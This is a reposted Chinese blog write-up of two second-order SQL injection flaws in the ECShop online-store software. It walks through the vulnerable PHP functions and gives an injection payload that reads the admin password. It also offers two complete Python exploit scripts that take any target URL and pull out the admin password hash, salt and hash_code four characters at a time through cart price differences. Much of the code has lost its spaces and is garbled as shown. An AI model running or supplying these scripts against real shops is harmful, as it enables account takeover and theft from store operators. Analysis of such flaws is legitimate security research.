ECShop二次注入利用分析【转】

更新时间:2016-11-10 点击量:789

本文章来自于网络,仅供技术研究。

 ecshop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。该系统基于PHP语言及MYSQL数据库构架开发的跨平台开源程序,目前最新版本为2.7.3。

最近乌云爆出了2次注入,之后我对他提出的2个2次注入的漏洞进行了分析,发现第一个注入并不是那么好利用,也没给出POC,另一个2次注入则给出了POC。

第一个漏洞的细节可见http://*******-2013-026458,这个漏洞我就不分析了,直接给出利用exp。

/wholesale.php?step=act=add_to_cart
act_id=1&goods_number[1][0]=100&attr_id[1][0][0][attr_id]=120&attr_i
d[1][0][0][attr_val_id]=0&attr_id[1][0][0][attr_name]=a')and1=2union
selectpasswordfromecs_admin_userwhereuser_id=1#


第二个漏洞的细节见http://*******-2013-026421,此漏洞还可以直接修改商品价格,对电商影响还是很大的。

function spec_price($spec)
{
if(!empty($spec))
{
$where=db_create_in($spec,'goods_attr_id');
$sql='SELECTSUM(attr_price)ASattr_priceFROM'.
$GLOBALS['ecs']->table('goods_attr')."WHERE$where";
$price=floatval($GLOBALS['db']->getOne($sql));
}
functiondb_create_in($item_list,$field_name='')
{
if(empty($item_list))
{
return $field_name."IN('')";
}
else
{
if(!is_array($item_list))
{
$item_list=explode(',',$item_list);
}
$item_list=array_unique($item_list);
$item_list_tmp='';
foreach($item_listAS$item)
{
if($item!=='')
{
$item_list_tmp.=$item_list_tmp?",'$item'":
"'$item'";
}
}
if(empty($item_list_tmp))
{
return $field_name."IN('')";
}
else
{
return $field_name.'IN('.$item_list_tmp.')';
}
}
}


在这2个函数中,$spec是可控的,但由于db_create_in函数的存在,导致了带逗号的SQL语句都不能使用。经过与flyh4t的激烈讨论,得到了几个可取的方法。

//如果需要加入规格价格

if($is_spec_price)
{
if(!empty($spec))
{
$spec_price=spec_price($spec);
$final_price+=$spec_price;
}
}

由上面代码可以看到,最终的价格会输出在页面,这样就不需要盲注了。完整的SQL语句如下,结果如图1所示。

SELECT SUM(attr_price) AS attr_price FROM
`uuecstest`.`ecs_goods_attr` WHERE goods_attr_id IN ('238','237') and 1=2
union select password from ecs_admin_user where password like 'e%'

ECShop二次注入利用分析 入侵检测 第1张

但结果发现NULL在第一位,导致price价格也为null,此时我们可以用降序语句进行排序。

SELECT SUM (attr_price) AS attr_price FROM
`uuecstest`.`ecs_goods_attr` WHERE goods_attr_id IN ('238','237') and 1=2
union select password from ecs_admin_user where password like'e%'order
by attr_price desc为了能够与数字相加,password用hex表示。
237') and 1=2 union select hex(password) from ecs_admin_user where
password like 'e%' order by attr_price desc
但这个效率也太低了,当然,我们也可以用regex来加快注入速度。
237')and 1=2 union select password from ecs_admin_user where user_id=1
and password REGEXP'^[a-z]' order by user_iddesc


不过仍然不太让人满意,我想更加快点,然后就有了下面的各种折腾。

思路是这样的,通过hex(password)来与原有的价格相加,得到的差值可以还原出原先的字符。当初是直接hex(password)后相加,发现字符达到最大值“溢出”了,如图2所示。

ECShop二次注入利用分析 入侵检测 第2张

<?php
$a=0x6531663739623465626137646161396130363639356564616264343238623233;
$x=0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
$res=$a/$x;
echo$res;
$res=dechex($res);
//会输出65

通过这种逐位提取,可以达到注入出字符的效果。16进制理解起来可能稍显麻烦,这里以10进制举例说明。

比如635098div10000,用MySQL的div或者floor函数取下限,防止4舍5入,得到63;635098mod630000取余,得到5098,再继续取前2位,如此类推(其实直接取3或者4位也可以)。

PHP下测试没问题,但是MySQL上测试却出问题了,字符太长,导致数据不准,算是个bug,如图3所示。

blob.png

本来还以为这条路又行不通了,但是无意间又找到了希望,翻资料翻到了substring还能这样用,如图4所示。

blob.png

现在问题都解决了,就差EXP了。要写出高效的EXP,先要解决维持Cookie会话的问题。我用requests模块的s=requests.Session()解决。还有正则提取关键数据的问题,由于想写的自动化点,其中遇到了各种调试各种代码重构。

首先需要安装requests模块(http://*******/),我也是第一次使用这模块,发现还挺好用的。下面简单介绍下模块的使用,比如文章中用到的s=requests.Session()保持会话,以及r=requests.get("http://*******")、r=

requests.post("http://*******")、r=requests.put("*******")、r=

requests.options("http://*******")等提交方式,用来写Webdav的IIS写权限漏洞很方便;r.encoding='utf-8'还能改变输出的编码,r.text显示返回的内容。更多详细的内容,可以到http://*******/查看。

#-*-coding:cp936-*-
#/usr/bin/envpython
#codeby花开、若相惜
importurllib2,cookielib,requests
importre,binascii
"""
ecshop二次注入
blog:huakai.paxmac.org
email:huakai@paxmac.org
"""
attackurl=raw_input("输入漏洞网站:")
defpostdata(url,data="",regex=""):
r=s.post(url,data)
result=r.text
ifregex!="":
reg=re.findall(regex,result)
ifreg:
returnresult,reg[0]
else:
returnresult
definfomation(url):
globalspec,goods,price
goods=re.findall(r'id=(\d{1,5})',url)
spec=postdata(url,regex=r"spec_value_(\d{1,10})")
defsqlinjection(sql):
post_data={"goods":"""{"quick":1,"spec":["%s","%s"],"goods_id":%s,"number":"1","parent":0}"""
%(spec[1],sql,goods[0])}
url=attackurl+"/flow.php?step=add_to_cart"
price=postdata(url,post_data,regex=ur"总计金额\s\S(\d{1,10})")
url=attackurl+"/flow.php"
goods_number=postdata(url,regex=r"goods_number\[.*\]")
goods_num=goods_number[1]
data={"%s"%(goods_num):"1","submit":"%B8%FC%D0%C2%B9%BA%CE%EF%B3%B5","step":"up
date_cart"}
update_cart=postdata(url,data,regex=ur"购物车更新成功")
new_price=postdata(url,regex=ur"购物金额小计\s\S(\d{1,10})")
ifnew_price[1]:
res_price=int(new_price[1])-int(price[1])
passwd=binascii.a2b_hex(str(res_price))
#清空购物车
url=url+"/flow.php?step=clear"
postdata(url)
returnpasswd
defget_salt():
sql="2')and1=2unionselecthex(substring(ec_saltfrom1for4))fromecs_admin_user
whereuser_id=1orderbyattr_pricedesc#"
print"saltis:"+sqlinjection(sql)
defget_hash_code():
passwd=""
forxinrange(0,8):
sql="2')and1=2unionselecthex(substring(valuefrom%dfor4))from
ecs_shop_configwherecode='hash_code'orderbyattr_pricedesc#"%(1+x*4)
passwd+=sqlinjection(sql)
print"hash_codeis:"+passwd
defget_admin_pass():
globalpasswd
passwd=""
forxinrange(0,8):
sql="2')and1=2unionselecthex(substring(passwordfrom%dfor4))from
ecs_admin_userwhereuser_id=1orderbyattr_pricedesc#"%(1+x*4)
passwd+=sqlinjection(sql)
print"admin_passwordis:"+passwd
get_salt()
get_hash_code()
if__name__=="__main__":
s=requests.Session()
url=attackurl+"/goods.php?id=9"
infomation(url)
////如果不存在就要修改下id
print"开始破解...(时间有点长,请耐心等待)"
get_admin_pass()

此段代码编译运行的结果如图5所示。


blob.png

我们还可以打开调试信息,观察每一次提交返回的数据,用于排查错误。实现代码如下:

#-*-coding:cp936-*-
#/usr/bin/envpython
#codeby花开、若相惜
importurllib2,cookielib,requests
importre,binascii
importsys,os
"""
ecshop二次注入
blog:huakai.paxmac.org
email:huakai@paxmac.org
"""
attackurl=raw_input("输入漏洞网站:")
defpostdata(url,data="",regex=""):
r=s.post(url,data)
result=r.text
ifregex!="":
reg=re.findall(regex,result)
ifreg:
returnresult,reg[0]
else:
returnresult
definfomation(url):
globalspec,goods,price
goods=re.findall(r'id=(\d{1,5})',url)
ifgoods:
print"Findgoodsidis:"+goods[0]
spec=postdata(url,regex=r"spec_value_(\d{1,10})")
ifspec[1]:
print"Findspecis:"+spec[1]
defsqlinjection(sql):
post_data={"goods":"""{"quick":1,"spec":["%s","%s"],"goods_id":%s,"number":"1","parent":0}"""
%(spec[1],sql,goods[0])}
url=attackurl+"/flow.php?step=add_to_cart"
price=postdata(url,post_data,regex=ur"总计金额\s\S(\d{1,10})")
ifprice[1]:
print"总金额:"+str(price[1])
url=attackurl+"/flow.php"
goods_number=postdata(url,regex=r"goods_number\[.*\]")
ifgoods_number[1]:
goods_num=goods_number[1]
print"Findgoods_numberis:"+
goods_num
data={"%s"%(goods_num):"1","submit":"%B8%FC%D0%C2%B9%BA%CE%EF%B3%B5","step":"up
date_cart"}
update_cart=postdata(url,data,regex=ur"购物车更新成功")
ifupdate_cart[1]:
printupdate_cart[1]
new_price=postdata(url,regex=ur"购物金额小计\s\S(\d{1,10})")
ifnew_price[1]:
print"更新后价格:"+str(new_price[1])
res_price=int(new_price[1])-int(price[1])
passwd=binascii.a2b_hex(str(res_price))
#清空购物车
url=url+"/flow.php?step=clear"
postdata(url)
returnpasswd
defget_salt():
sql="2')and1=2unionselecthex(substring(ec_saltfrom1for4))fromecs_admin_user
whereuser_id=1orderbyattr_pricedesc#"
print"saltis:"+sqlinjection(sql)
defget_hash_code():
passwd=""
forxinrange(0,8):
sql="2')and1=2unionselecthex(substring(valuefrom%dfor4))from
ecs_shop_configwherecode='hash_code'orderbyattr_pricedesc#"%(1+x*4)
passwd+=sqlinjection(sql)
printpasswd
print"hash_codeis:"+passwd
defget_admin_pass():
globalpasswd
passwd=""
forxinrange(0,8):
sql="2')and1=2unionselecthex(substring(passwordfrom%dfor4))from
ecs_admin_userwhereuser_id=1orderbyattr_pricedesc#"%(1+x*4)
passwd+=sqlinjection(sql)
printpasswd
print"admin_passis:"+passwd
get_salt()
get_hash_code()
if__name__=="__main__":
s=requests.Session()
url=attackurl+"/goods.php?id=9"
infomation(url)
get_admin_pass()


此段代码编译运行后的结果如图6所示。

blob.png

本文提供了一个编写EXP的思路,网上应该还没有这样写EXP的,这个漏洞确实还是挺有意思的。我抛弃了传统的like/regexp编写EXP的思路,为了提高更快的速度,给出了一个新的思路。这里也只是抛砖引玉,如果大家有更好的方法可以实现,可以共同交流。

(完)

本文来自 危险漫步博客;

支付宝扫码打赏 微信打赏

如果文章对您有帮助,就打赏一个吧

在线客服

客户服务

热线电话:

0755-36656507 15889489919 服务时间:

周一到周六:9:00-18:00

在线QQ客服

在线微信客服

关于我们 常见问题

支付方式 加盟合作

提交需求
优惠红包 购物车0 反馈留言 返回顶部